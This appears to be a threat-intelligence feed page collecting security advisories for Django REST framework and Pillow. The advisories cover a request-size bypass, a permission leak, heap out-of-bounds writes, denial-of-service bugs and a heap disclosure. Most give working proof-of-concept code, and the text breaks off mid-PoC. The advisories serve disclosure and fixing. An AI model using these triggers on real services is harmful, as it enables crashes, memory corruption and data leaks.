Threat Intelligence

Live CVE feed

521 threats tracked across 12 launch stacks — sourced from NVD, GHSA, CISA KEV, OSV, npm Audit, and EPSS.

68threats · Django· page 1/4
Get guardrails →

Django REST framework: Potential bypass of Django `DATA_UPLOAD_MAX_MEMORY_SIZE` when parsing oversized JSON and urlencoded request bodies via DRF `request.data`

Summary While investigating Django REST Framework's request parsing behavior, I identified that DRF's high-level request.data parsing appears to bypass Django's configured DATA_UPLOAD_MAX_MEMORY_SIZE protection for application/json and application/x-www-form-urlencoded request bodies. In the tested configurations, Django correctly raises RequestDataTooBig when applications access request.body or Django's native request.POST, but DRF successfully parses the same oversized payloads through request.data. This behavior appears to occur because DRF passes the underlying HttpRequest object directly to parsers, which consume the request stream through Django's lower-level streaming interface rather than the guarded request.body path. I am reporting this privately because I am unsure whether this behavior is considered part of DRF's intended security boundary, but it appears to bypass a documented Django request-size protection for common DRF request parsing paths and may have availability implications. What I Verified I verified the behavior locally using the following combinations: Django 6.0.7 + DRF 3.17.1 → Affected Django 6.0.7 + DRF current upstream main → Affected For both versions, the observed behavior was: `` Django request.body → RequestDataTooBig Django request.POST (application/x-www-form-urlencoded) → RequestDataTooBig Django request.read() → Reads the entire oversized request body DRF request.data → Successfully parses oversized JSON and urlencoded request bodies ` I also confirmed that: multipart/form-data remains protected because DRF delegates multipart parsing to Django's multipart parser. The behavior reproduces on both direct WSGI and ASGI servers without a reverse proxy or external request-size middleware. Technical Details The relevant execution flow is: ` APIView ↓ rest_framework.request.Request ↓ request.data ↓ Request._load_data_and_files() ↓ Request._parse() ↓ Request._load_stream() ↓ self._stream = self._request ↓ JSONParser.parse(...) or FormParser.parse(...) ↓ stream.read() / json.load(...) ` The important implementation detail is that DRF assigns the original Django HttpRequest object as the parser stream. Unlike request.body and Django's native form parsing, consuming the stream through HttpRequest.read() does not trigger Django's RequestDataTooBig protection. As a result, DRF's built-in parsers successfully consume oversized request bodies that Django itself would reject through its higher-level request interfaces. Reproduction Steps Environment Python 3.13 Django 6.0.7 Django REST Framework 3.17.1 (also reproduced on current upstream main) Configure: `python DATA_UPLOAD_MAX_MEMORY_SIZE = 10 ` Create a simple DRF API view: `python from rest_framework.views import APIView from rest_framework.response import Response class DemoView(APIView): def post(self, request): return Response(request.data) ` Start the application. Send an oversized JSON request: ` POST /demo Content-Type: application/json Content-Length: >10 bytes ` Example: `json { "value": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..." } ` Observed: ` HTTP 200 JSON successfully parsed ` Now compare against: `python request.body ` Observed: ` RequestDataTooBig ` Likewise, compare against: `python request.POST ` using ` application/x-www-form-urlencoded ` Observed: ` RequestDataTooBig ` This demonstrates different enforcement depending on which request API is used. Root Cause Django documents HttpRequest.read() as a streaming interface. DRF exposes request.data as the primary high-level request parsing API. Currently, DRF forwards the raw Django request stream directly to parsers before any request-size validation equivalent to Django's request.body path occurs. Consequently: JSONParser FormParser fully consume oversized request bodies despite Django's configured request-size limit. Security Impact This does not appear to introduce: Authentication bypass Authorization bypass Remote code execution Information disclosure Integrity compromise However, it may reduce the effectiveness of deployments relying on Django's DATA_UPLOAD_MAX_MEMORY_SIZE to limit request-body resource consumption. Potential consequences include: Additional memory allocation during JSON parsing Additional CPU usage while decoding large JSON payloads Increased resource consumption when handling oversized request bodies Reduced effectiveness of Django's configured request-size protection for DRF endpoints using request.data The practical impact depends on deployment configuration, including: upstream request-size limits reverse proxy configuration authentication rate limiting endpoint exposure Memory Observations During local testing I observed successful parsing of oversized request bodies despite the configured limit. Representative measurements showed significantly increased memory allocation while parsing large JSON and urlencoded payloads. I intentionally did not perform destructive concurrency testing or attempt to exhaust system resources. Scope Confirmed affected: application/json application/x-www-form-urlencoded Confirmed not affected: multipart/form-data Suggested Fix Direction One possible approach would be for DRF to enforce Django's configured DATA_UPLOAD_MAX_MEMORY_SIZE before handing the raw request stream to parsers that fully materialize request bodies in memory. This would preserve Django's configured request-size protection for the common request.data` API without requiring broader changes to Django's documented streaming interface. Versions Tested Affected: Django 6.0.7 + DRF 3.17.1 Django 6.0.7 + DRF current upstream main I did not perform a complete historical version bisect. Disclosure I have not publicly disclosed this behavior. I am submitting it privately in accordance with the project's security policy because I am unsure whether maintainers consider this part of DRF's intended security boundary. Note: Thank you for taking the time to review this report. If you determine that this behavior should be addressed, I would be happy to help investigate further, develop a fix, add regression tests, and submit a patch if you'd find that helpful. I have experience as a Python/Django software engineer, security researcher, and open-source contributor, and I'd be glad to contribute if you think that would be useful.

OWASP A06LLM04 · Model DoSOWASP Web
Get guardrail →

Django REST framework: AdminRenderer may disclose GET-protected data when rendering invalid write requests

Summary AdminRenderer may disclose data that would normally be protected by GET permissions when rendering a 400 Bad Request response for an invalid write request. If a view allows POST (or another write method) but denies GET, an invalid request rendered through AdminRenderer can invoke the view's GET handler and include data from the GET representation in the generated HTML response. This behavior appears to be specific to AdminRenderer and does not affect the normal JSON rendering path. --- Details While investigating the AdminRenderer rendering flow, I observed that invalid write requests are rendered by temporarily overriding the request method and invoking the view's GET handler: `` with override_method(view, request, "GET") as request: response = view.get(request, view.args, *view.kwargs) data = response.data ` This execution path differs from a normal GET request. Under normal request processing, a GET request flows through: ` APIView.dispatch() └── APIView.initial() └── APIView.check_permissions() ` However, during AdminRenderer rendering, the renderer directly invokes: view.get(...) A view whose permission class explicitly allowed POST but denied GET still executed its GET handler while rendering an invalid POST request through AdminRenderer. As a result, data intended to be available only through an authorized GET request was included in the generated HTML response. --- Proof of Concept Using a standard ListCreateAPIView. Permission class: ` class ProbePermission(BasePermission): def has_permission(self, request, view): return request.method == "POST" View: class View(ListCreateAPIView): renderer_classes = (AdminRenderer, JSONRenderer) permission_classes = (ProbePermission,) serializer_class = ProbeSerializer def get_queryset(self): return [ { "name": "visible", "secret": "GET-ONLY-SECRET", } ] ` Expected Behaviour ` GET request → 403 Forbidden Invalid POST request → 400 Bad Request → Response should contain only validation errors. → GET-only data should not be rendered. ` Observed Behaviour ` GET request → 403 Forbidden Invalid POST request rendered through AdminRenderer → 400 Bad Request → HTML response contains: GET-ONLY-SECRET ` Tthe same behavior is shown using a minimal APIView implementation. Observed results: ` minimal.post_400.handler_calls = [ ("post", "POST"), ("get", "GET") ] minimal.post_400.contains_secret = True ` Generic view reproduction: ` generic.direct_get.status = 403 generic.direct_get.contains_secret = False generic.post_400.status = 400 generic.post_400.contains_secret = True generic.post_400.permission_calls = [ ("GenericAdminView", "POST"), ... ("GenericAdminView", "OPTIONS") ] generic.post_400.queryset_calls = [ ("GenericAdminView", "GET"), ... ] ` These observations indicate that direct GET requests are correctly denied, while the simulated GET used during AdminRenderer rendering can still retrieve the protected representation. --- Impact This issue may result in information disclosure when all of the following conditions are met: AdminRenderer is enabled. The client negotiates the HTML renderer (for example using Accept: text/html). The application permits POST (or another write method). GET requests are denied by the configured permission class. The invalid write request returns 400 Bad Request. The GET representation contains information that the requester would normally not be permitted to access. This issue does not appear to affect: JSON rendering Standard API responses Successful write requests The behavior appears limited to the HTML rendering path used by AdminRenderer. --- Suggested Fix Possible approaches include: Perform equivalent permission checks before executing the simulated GET request. Avoid invoking view.get() when the corresponding GET request would not be permitted. Fall back to rendering only serializer/form validation errors instead of retrieving the GET representation. A regression test could create a permission class that allows POST while denying GET, then verify that an invalid POST rendered with AdminRenderer does not include data from the protected GET representation. --- Environment Repository: encode/django-rest-framework Branch tested: security-audit-drf Commit tested: cf582fb58e9e5ffcc8ed78a2cb9aaa8f4865666a`

LLM02 · Insecure OutputOWASP Web
Get guardrail →

Pillow: Controlled heap out-of-bounds write in Pillow `ImageCmsTransform.apply()` via output mode mismatch

Summary Pillow's public ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. For example, a transform built as RGBA -> RGBA can be applied to an L output image. Pillow checks dimensions only, then calls LittleCMS with the output row pointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel L image row. Details src/PIL/ImageCms.py:ImageCmsTransform.apply() accepts an optional caller supplied imOut: ``python def apply(self, im, imOut=None): if imOut is None: imOut = Image.new(self.output_mode, im.size, None) self.transform.apply(im.getim(), imOut.getim()) imOut.info["icc_profile"] = self.output_profile.tobytes() return imOut ` If imOut is provided, Pillow does not check: `text im.mode == self.input_mode imOut.mode == self.output_mode ` The C wrapper in src/_imagingcms.c unwraps both image cores and only checks that the output dimensions are at least as large as the input dimensions: `c static int pyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) { if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) { return -1; } for (i = 0; i < im->ysize; i++) { cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize); } pyCMScopyAux(hTransform, imOut, im); return 0; } ` findLCMStype() maps RGB, RGBA, and RGBX transform modes to LittleCMS TYPE_RGBA_8, which writes 4 bytes per pixel: `c case IMAGING_MODE_RGB: case IMAGING_MODE_RGBA: case IMAGING_MODE_RGBX: return TYPE_RGBA_8; ` So with a transform declared as RGBA -> RGBA, LittleCMS writes 4 width bytes to each output row. If the supplied output image is mode L, Pillow only allocated 1 width bytes for that row. For width 4096: `text destination row allocation: 4096 bytes LittleCMS write size: 16384 bytes overflow: ~12288 bytes past the row ` The bug does not require a large image. Width 8 was enough to corrupt heap metadata. At width 8, apply() returned to Python and printed after; glibc detected the corrupted heap later during cleanup. PoC Tiny heap corruption trigger: `python from PIL import Image, ImageCms srgb = ImageCms.createProfile("sRGB") transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA") im = Image.new("RGBA", (8, 1), (0x41, 0x42, 0x43, 0x44)) out = Image.new("L", (8, 1), 0) print("before", flush=True) transform.apply(im, out) print("after") ` Observed locally on Pillow 12.3.0.dev0: `text before after free(): invalid next size (normal) Aborted (core dumped) ` Controlled overwrite evidence PoC: `python from PIL import Image, ImageCms srgb = ImageCms.createProfile("sRGB") transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA") im = Image.new("RGBA", (4096, 1), (0x41, 0x42, 0x43, 0x44)) out = Image.new("L", (4096, 1), 0) transform.apply(im, out) ` Run under gdb: `bash gdb -q --batch -ex run -ex bt --args \ python3 b022_controlled.py ` Observed on Pillow 12.3.0.dev0: `text Program received signal SIGSEGV, Segmentation fault. ___pthread_mutex_lock (mutex=mutex@entry=0x4443424144434241) #1 _cmsLockPrimitive (m=0x4443424144434241) #2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241) #3 _cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241) #4 cmsSaveProfileToIOhandler(...) #5 cmsSaveProfileToMem(...) #6 cms_profile_tobytes (...) at src/_imagingcms.c:152 ` 0x4443424144434241 is the attacker-controlled source pixel pattern b"ABCDABCD" interpreted as a little-endian pointer-sized value. Using source pixels (1, 2, 3, 4) similarly produced a faulting pointer of 0x403020104030201, matching the repeated pixel bytes. Impact This is a heap out-of-bounds write in Pillow's native ImageCms extension, reachable through public API. Applications are impacted if untrusted users can control ImageCms transform parameters and/or provide the output image object passed to ImageCmsTransform.apply(). The source image pixels influence the bytes written out of bounds. Suggested fix Validate modes before calling into the native transform: `python def apply(self, im, imOut=None): if im.mode != self.input_mode: raise ValueError("input mode mismatch") if imOut is None: imOut = Image.new(self.output_mode, im.size, None) elif imOut.mode != self.output_mode: raise ValueError("output mode mismatch") self.transform.apply(im.getim(), imOut.getim()) imOut.info["icc_profile"] = self.output_profile.tobytes() return imOut ` The C extension should also defensively reject mismatched image modes before calling cmsDoTransform()`.

Pillow JPEG2000 tiled decode retains a growing scratch buffer and can be used for denial of service

Summary src/libImaging/Jpeg2KDecode.c:853 accumulates total_component_width across every tile in a JPEG2000 image instead of recomputing it per tile. That accumulated value is then used in the tile_bytes calculation at src/libImaging/Jpeg2KDecode.c:868, which can make the decoder grow state->buffer via realloc at src/libImaging/Jpeg2KDecode.c:876 up to roughly one full image's decompressed size even when each tile is small. A crafted tiled JPEG2000 file can therefore force substantially higher transient memory usage and trigger out-of-memory failures during decoding. Based on current evidence, the supported impact is denial of service, not memory corruption. Details Location: src/libImaging/Jpeg2KDecode.c:853 Root cause: total_component_width is initialized only once before the tile loop and keeps growing across tiles. It is then used to derive tile_bytes, so later tiles are treated as if they had the combined component width of all earlier tiles. Dangerous operation: tile_bytes is promoted into tile_info.data_size, then state->buffer is grown with realloc at src/libImaging/Jpeg2KDecode.c:876. Reachability: any attacker-controlled JPEG2000 image with many tiles reaches this path during normal Image.open(...).load() decoding. PoC The attached helper script and testcase were used: exercise_j2k_tile_realloc.zip Generate the testcase: ``bash pythonexercise_j2k_tile_realloc.py make poc_3664_rgba_tile1832.jp2 \ --size 3664 --tile 1832 ` Expected geometry from the helper: image size: 3664 x 3664 mode: RGBA tile size: 1832 x 1832 (2x2 tiles) image_bytes=53699584 uncapped RSS observed: vulnerable build: maxrss_kb=180264 fixed comparison build: maxrss_kb=138404 Load it with the current vulnerable build: `bash python exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2 ` Load it again under a 160 MB address-space cap: `bash python exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2 --limit-mb 160 `` Impact Conservative impact: denial of service through memory exhaustion during JPEG2000 decoding.

Pillow EpsImagePlugin negative %%BeginBinary byte count causes infinite loop denial of service

Summary Pillow's EPS parser (PIL/EpsImagePlugin.py) accepts a negative byte count in the %%BeginBinary directive. A crafted EPS file can cause Image.open() to seek backwards to the same directive and parse it repeatedly, resulting in an infinite loop and CPU denial of service. The issue is triggered during Image.open(), does not require Image.load(), and does not require Ghostscript execution. Confirmed affected versions: Pillow 12.0.0 through 12.2.0. Details The issue is in the EPS parser in PIL/EpsImagePlugin.py. When parsing an EPS %%BeginBinary directive, Pillow reads the byte count from the file and passes it directly to a relative seek operation without validating that the value is non-negative. Relevant code: elif bytes_mv[:14] == b"%%BeginBinary:": bytecount = int(byte_arr[14:bytes_read]) self.fp.seek(bytecount, os.SEEK_CUR) There is no validation that bytecount is non-negative. If an attacker provides a negative value such as %%BeginBinary:-18, the parser moves the file pointer backwards from the end of the directive line to the same line region. The next parser iteration reads the same %%BeginBinary:-18 directive again, performs the same backward seek, and repeats indefinitely. This causes Image.open() to hang in an infinite loop and consume CPU. In local testing, the issue is present in Pillow 12.0.0, 12.1.0, 12.1.1, and 12.2.0. Pillow 11.3.0 did not hang with the same PoC, so this appears to affect the 12.x EPS parsing path. PoC Save the following content as pillow_eps_beginbinary_dos.eps: %!PS-Adobe-3.0 EPSF-3.0 %%BoundingBox: 0 0 1 1 %%EndComments % dummy comment after transition %%BeginBinary:-18 %%EOF Then run: python -m pip install "Pillow==12.2.0" python - <<'PY' from PIL import Image Image.open("pillow_eps_beginbinary_dos.eps") PY Expected behavior: Pillow should reject the malformed EPS file with a parser exception. Actual behavior: the process does not return. It hangs inside Image.open() and continuously consumes CPU. The loop behavior can be observed by tracing the parser state. The file pointer repeatedly seeks from position 112 back to 94, causing the same %%BeginBinary:-18 line to be parsed again and again: LINE b'%%BeginBinary:-18' pos_after_newline 112 BeginBinary bytecount -18 seek from 112 to 94 LINE b'%%BeginBinary:-18' pos_after_newline 112 BeginBinary bytecount -18 seek from 112 to 94 LINE b'%%BeginBinary:-18' pos_after_newline 112 BeginBinary bytecount -18 seek from 112 to 94 Impact This is a denial-of-service vulnerability. An attacker who can provide an EPS file to an application using Pillow for image validation, metadata parsing, previews, uploads, or batch image processing can cause the image parsing process to hang during Image.open(). This can impact web services and backend workers that parse untrusted image files, especially if image parsing is performed in a main worker process without CPU limits, timeouts, or process isolation. The issue does not require Ghostscript execution and does not require calling Image.load(), so applications that only use Image.open() to validate or identify uploaded images may still be affected. Suggested fix: validate the parsed %%BeginBinary byte count before seeking. If the byte count is negative, reject the file with a parsing exception instead of calling self.fp.seek(bytecount, os.SEEK_CUR).

Pillow: Decompression Bomb DoS via PdfParser.PdfStream.decode()

Summary PdfParser.PdfStream.decode() in Pillow's PdfParser.py calls zlib.decompress() with the bufsize parameter set to the value of the PDF stream's Length field, without any upper bound on the actual decompressed output size. Python's zlib.decompress() bufsize argument is an initial output buffer hint, not a maximum size limit — the function will expand memory until the full decompressed result is produced. A crafted PDF containing a FlateDecode-compressed stream decompresses to 1 GB of memory from a ~950 KB file, causing server OOM termination or severe degradation in any application that uses PdfParser to read untrusted PDF files. Details PdfStream.decode() in pdfminer/PdfParser.py reads the stream's declared Length (or DL) field from the PDF dictionary and passes it as bufsize to zlib.decompress(): ``python PIL/PdfParser.py — PdfStream.decode() class PdfStream: def decode(self) -> bytes: try: filter = self.dictionary[b"Filter"] except KeyError: return self.buf if filter == b"FlateDecode": try: expected_length = self.dictionary[b"DL"] except KeyError: expected_length = self.dictionary[b"Length"] return zlib.decompress(self.buf, bufsize=int(expected_length)) # ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ # bufsize is an initial buffer hint, NOT a maximum size limit. # zlib.decompress() allocates as much memory as needed regardless. ` From the Python documentation: "The bufsize parameter is used as the initial size of the output buffer." It does not cap decompression. An attacker who controls the PDF stream contents can provide a highly-compressed payload that expands to gigabytes, while setting Length to any value (including the actual compressed size) to avoid triggering format validation. PdfParser is instantiated with a filename or file object and calls read_pdf_info() on open, which parses the xref table and makes stream objects accessible. PdfStream.decode() is reachable whenever calling code accesses a compressed stream object from the parsed PDF. Confirmed reachable path: `python with PdfParser.PdfParser("evil.pdf") as pdf: stream_obj, _ = pdf.get_value(pdf.buf, stream_offset) data = stream_obj.decode() # ← OOM here ` PoC `python import zlib, tempfile, os, time from PIL import PdfParser Build a minimal PDF with a 100 MB FlateDecode bomb (demo scale) EXPAND_MB = 100 raw = b'\x00' (EXPAND_MB 1_000_000) compressed = zlib.compress(raw, level=9) # ~97 KB buf = b'%PDF-1.4\n' o1 = len(buf); buf += b'1 0 obj\n<< /Type /Pages /Kids [] /Count 0 >>\nendobj\n' o2 = len(buf); buf += b'2 0 obj\n<< /Type /Catalog /Pages 1 0 R >>\nendobj\n' o3 = len(buf) hdr = f'<< /Filter /FlateDecode /Length {len(compressed)} >>'.encode() buf += b'3 0 obj\n' + hdr + b'\nstream\n' + compressed + b'\nendstream\nendobj\n' xref = len(buf) buf += b'xref\n0 4\n0000000000 65535 f \n' for off in [o1, o2, o3]: buf += f'{off:010d} 00000 n \n'.encode() buf += b'trailer\n<< /Size 4 /Root 2 0 R >>\nstartxref\n' + str(xref).encode() + b'\n%%EOF\n' print(f"PDF size: {len(buf):,} bytes ({len(buf)/1024:.1f} KB)") with tempfile.NamedTemporaryFile(delete=False, suffix='.pdf') as f: f.write(buf); tmpname = f.name with PdfParser.PdfParser(tmpname) as pdf: obj, _ = pdf.get_value(pdf.buf, o3) t = time.time() decoded = obj.decode() print(f"Decoded: {len(decoded):,} bytes in {time.time()-t:.3f}s") os.unlink(tmpname) ` Actual output (Pillow 12.1.1, Python 3.12): ` PDF size: 97,538 bytes (95.3 KB) Decoded: 100,000,000 bytes in 0.265s ` Measured expansion: | PDF file size | Memory allocated | Ratio | Wall time | |---|---|---|---| | 10 KB | 10 MB | 1,026× | 0.024 s | | 95 KB | 100 MB | 1,028× | 0.265 s | | 475 KB | 500 MB | 1,028× | 1.279 s | | 950 KB | 1,000 MB (1 GB) | 1,028× | 2.668 s | Impact This is a denial-of-service vulnerability. Any application that uses PIL.PdfParser.PdfParser to read untrusted PDF files is affected. An unauthenticated attacker who can submit a PDF for processing can exhaust all available server memory with a ~950 KB file, causing OOM termination or service degradation affecting all concurrent users. No authentication or user interaction beyond submitting the file is required. Note: This vulnerability is independent of CVE-2025-64512 / CVE-2025-70559 (pdfminer.six) and the companion PIL/PdfImagePlugin.py decompression issue. It exists specifically in Pillow's own PdfParser.py module, which is distinct from pdfminer.six. Suggested fix: `python MAX_DECOMPRESS_BYTES = 200 1024 1024 # 200 MB cap def decode(self) -> bytes: ... if filter == b"FlateDecode": ... result = zlib.decompress(self.buf, bufsize=int(expected_length)) if len(result) > MAX_DECOMPRESS_BYTES: msg = "Decompressed stream exceeds maximum allowed size" raise ValueError(msg) return result ``

OWASP A06LLM04 · Model DoSOWASP Web
Get guardrail →

Pillow: Heap out-of-bounds write `Image.paste()` / `Image.crop()` via signed coordinate overflow

Summary Pillow's public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits. In 4-byte pixel modes such as RGBA, this becomes a controlled backward heap underwrite: for a source image of width W, Pillow writes 4 W attacker-controlled bytes starting 4 W bytes before the destination row pointer. With successful large image allocation, the theoretical upper bound is ~2 GiB backwards from the destination row. Minimal public API trigger: ``python from PIL import Image INT_MIN = -(1 << 31) src = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44)) dst = Image.new("RGBA", (8, 1)) dst.paste(src, ((1 << 31) - 2, 0, INT_MIN, 1)) ` The same root cause is also reachable through Image.crop() and Image.alpha_composite(). No private API, ctypes, custom Python object, or malformed image file is needed. This has been confirmed as an ASAN heap-buffer-overflow write. On normal non-ASAN Pillow builds, the minimal trigger corrupts the heap and aborts with double free or corruption (out) Details src/PIL/Image.py:paste() accepts a 4-tuple box and passes it to the native ImagingCore.paste() method: `python self.im.paste(source, box) ` src/_imaging.c:_paste() parses the four Python coordinates into signed int values and calls ImagingPaste(): `c int x0, y0, x1, y1; PyArg_ParseTuple(args, "O(iiii)|O!", &source, &x0, &y0, &x1, &y1, ...); status = ImagingPaste(self->image, PyImaging_AsImaging(source), ..., x0, y0, x1, y1); ` src/libImaging/Paste.c:ImagingPaste() computes and clips the region using signed int arithmetic: `c xsize = dx1 - dx0; ysize = dy1 - dy0; if (dx0 + xsize > imOut->xsize) { xsize = imOut->xsize - dx0; } ` With dx0 = 2147483646 and dx1 = -2147483648, dx1 - dx0 wraps to 2. That matches the 2-pixel source image, so the size check passes. The later dx0 + xsize clip check wraps around and does not reject the out-of-bounds destination. For 4-byte pixel modes such as RGBA, the paste loop then multiplies dx by pixelsize: `c dx = pixelsize; xsize = pixelsize; memcpy(imOut->image[y + dy] + dx, imIn->image[y + sy] + sx, xsize); ` For the minimal PoC, this writes 8 attacker-controlled bytes 8 bytes before the destination row allocation. The primitive scales with the attacker-controlled source width: `text source width = W box = ((1 << 31) - W, 0, INT_MIN, 1) C destination offset = -4 W C memcpy size = 4 W write range = [row_start - 4W, row_start) ` Examples for RGBA: `text W = 2 -> writes 8 bytes before the row W = 1024 -> writes 4096 bytes before the row W = 65536 -> writes 256 KiB before the row W = 1000000 -> writes about 4 MiB before the row ` Pillow's image creation guard currently limits xsize to roughly INT_MAX / 4 - 1, so the theoretical upper bound for this RGBA underwrite is 2,147,483,640 bytes before the destination row pointer. In practice, the usable range depends on memory availability, allocator layout, and process heap state. Two other documented APIs reach the same sink: `python Image.crop() path left = INT_MIN + 2 Image.new("RGBA", (2, 1)).crop((left, 0, left + 2, 1)) Image.alpha_composite() path, via its internal crop() base = Image.new("RGBA", (2, 1)) over = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44)) base.alpha_composite(over, dest=(left, 0)) ` Image.crop() keeps right - left small, so the Python decompression-bomb check allows it. src/libImaging/Crop.c then computes wrapped paste coordinates and calls ImagingPaste(). PoC The following standalone script exercises all three public API paths. Save it as b021_poc.py and run it with paste, crop, or alpha. `python #!/usr/bin/env python3 import argparse import sys from PIL import Image INT_MIN = -(1 << 31) def rgba_pattern(width): out = bytearray() for i in range(width): out += bytes((0x41 + (i % 26), 0x42, 0x43, 0x44)) return bytes(out) def main(): parser = argparse.ArgumentParser() parser.add_argument( "variant", choices=("paste", "crop", "alpha"), nargs="?", default="paste", ) parser.add_argument("-w", "--width", type=int, default=2) args = parser.parse_args() width = args.width src = Image.frombytes("RGBA", (width, 1), rgba_pattern(width)) if args.variant == "paste": box = ((1 << 31) - width, 0, INT_MIN, 1) dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0)) print(f"variant=paste box={box}") print(f"expected C dst offset={-4 width}, write_size={4 width}") sys.stdout.flush() dst.paste(src, box) print("paste returned; first row:", dst.tobytes().hex()) elif args.variant == "crop": left = INT_MIN + width box = (left, 0, left + width, 1) print(f"variant=crop box={box}") sys.stdout.flush() out = src.crop(box) print("crop returned; output:", out.tobytes().hex()) else: dest = (INT_MIN + width, 0) dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0)) print(f"variant=alpha dest={dest}") sys.stdout.flush() dst.alpha_composite(src, dest=dest) print("alpha_composite returned; first row:", dst.tobytes().hex()) sys.stdout.flush() if __name__ == "__main__": main() ` Run against an ASAN build: `bash env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \ python b021_poc.py paste env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \ python b021_poc.py crop env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \ python b021_poc.py alpha ` Observed ASAN signature for the direct Image.paste() path: `text ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 8 paste /out/src/src/libImaging/Paste.c:59 ImagingPaste /out/src/src/libImaging/Paste.c:323 _paste /out/src/src/_imaging.c:1461 0x... is located 8 bytes before 32-byte region ` On non-ASAN Pillow 12.2.0 and local 12.3.0.dev0, the direct minimal Image.paste() trigger returns from paste() and then the process aborts during cleanup with: `text double free or corruption (out) Aborted (core dumped) ` Observed ASAN signature for the Image.crop() and Image.alpha_composite() paths: `text ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 8 paste /out/src/src/libImaging/Paste.c:59 ImagingPaste /out/src/src/libImaging/Paste.c:323 ImagingCrop /out/src/src/libImaging/Crop.c:57 _crop /out/src/src/_imaging.c:1090 ` Suggested fix Avoid signed overflow in paste/crop coordinate arithmetic. Use checked arithmetic or a wider type before calculating widths and clipped endpoints. For example, reject boxes whose endpoint subtraction cannot be represented cleanly, and clip using non-overflowing comparisons: `c int64_t xsize64 = (int64_t)dx1 - dx0; int64_t ysize64 = (int64_t)dy1 - dy0; if (xsize64 < 0 || ysize64 < 0 || xsize64 > INT_MAX || ysize64 > INT_MAX) { return ImagingError_ValueError("bad box"); } ` ImagingCrop() should receive the same treatment for sx1 - sx0, dx0 = -sx0, and dx1 = imIn->xsize - sx0. Impact This is a heap out-of-bounds write in Pillow's native C extension, reachable through documented public image APIs. Applications are impacted if an untrusted user can control image operation coordinates passed to Pillow, for example crop boxes, paste boxes, or overlay positions. The bytes written in the direct Image.paste() variant are copied from the source image, so attacker-controlled source pixels can influence the out-of-bounds write. For RGBA, the write is a backward heap underwrite whose offset and length are both 4 * source_width`, bounded in practice by successful image allocation and heap layout.

Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images

Summary Pillow's TGA RLE encoder reads past its row buffer when saving a mode "1" image. Adjacent process heap bytes can be copied into the generated TGA file. The bug is reachable through the public save API: ``python im.save(out, format="TGA", compression="tga_rle") ` Older affected Pillow versions use the equivalent public option rle=True. For mode "1", Pillow allocates a packed row buffer of ceil(width / 8) bytes, but ImagingTgaRleEncode() treats the row as one full byte per pixel. The maximum valid TGA width is 65535. At that width: `text allocated packed row buffer: 8192 bytes encoder byte-offset walk: 65535 bytes maximum OOB window per row: 57343 bytes ` On non-ASAN Pillow 12.2.0, the public-only maximum-width PoC below serialized 57297 bytes from distinct out-of-bounds source offsets into one returned TGA, covering 99.92% of the maximum adjacent heap window. No heap grooming, ctypes, private API, or malformed input file was used. The disclosure is emitted across many TGA packet payload copies of at most 128 bytes each, not one large memcpy(). Details src/PIL/TgaImagePlugin.py allows mode "1" TGA output and selects the tga_rle encoder when RLE compression is requested. src/encode.c:_setimage() allocates the row buffer using the packed-bit formula: `c state->bytes = (state->bits state->xsize + 7) / 8; state->buffer = (UINT8 )calloc(1, state->bytes); ` For mode "1", state->bits == 1. src/libImaging/TgaRleEncode.c then computes: `c bytesPerPixel = (state->bits + 7) / 8; ` This becomes 1, and the encoder uses pixel indexes as byte offsets: `c static int comparePixels(const UINT8 buf, int x, int bytesPerPixel) { buf += x bytesPerPixel; return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0; } ` The packet payload memcpy() later copies those out-of-bounds source bytes into the output. Raw packets copy up to 128 contiguous bytes, while RLE packets copy one representative byte: `c memcpy( dst, state->buffer + (state->x * bytesPerPixel - state->count), flushCount ); ` A width-2 mode "1" image allocates one row byte and already triggers an ASAN heap-buffer-overflow read. Wider images increase the adjacent heap window and the amount of heap data that can be serialized. PoC Minimal ASAN trigger `python import io from PIL import Image out = io.BytesIO() Image.new("1", (2, 1)).save(out, format="TGA", compression="tga_rle") ` Observed on local Pillow 12.3.0.dev0 ASAN target: `text ERROR: AddressSanitizer: heap-buffer-overflow READ of size 1 comparePixels /out/src/src/libImaging/TgaRleEncode.c:10 ImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81 0 bytes after a 1-byte allocation from _setimage ` Maximum-width heap disclosure This PoC uses one maximum-width row. It parses the generated TGA packets and extracts only payload bytes whose source offsets were outside the allocated packed row. Rows are avoided because they mostly repeat the same adjacent heap window. Run the following with a standard affected Pillow installation. `python import hashlib import io import PIL from PIL import Image WIDTH = 65535 ATTEMPTS = 20 ROW_BYTES = (WIDTH + 7) // 8 MAX_OOB_WINDOW = WIDTH - ROW_BYTES def extract_oob_payload(data): i = 18 pixel = 0 oob = bytearray() while pixel < WIDTH: descriptor = data[i] i += 1 count = (descriptor & 0x7F) + 1 if descriptor & 0x80: value = data[i] i += 1 if pixel + count - 1 >= ROW_BYTES: oob.append(value) else: values = data[i : i + count] i += count oob.extend(values[max(ROW_BYTES - pixel, 0) :]) pixel += count return bytes(oob) best = 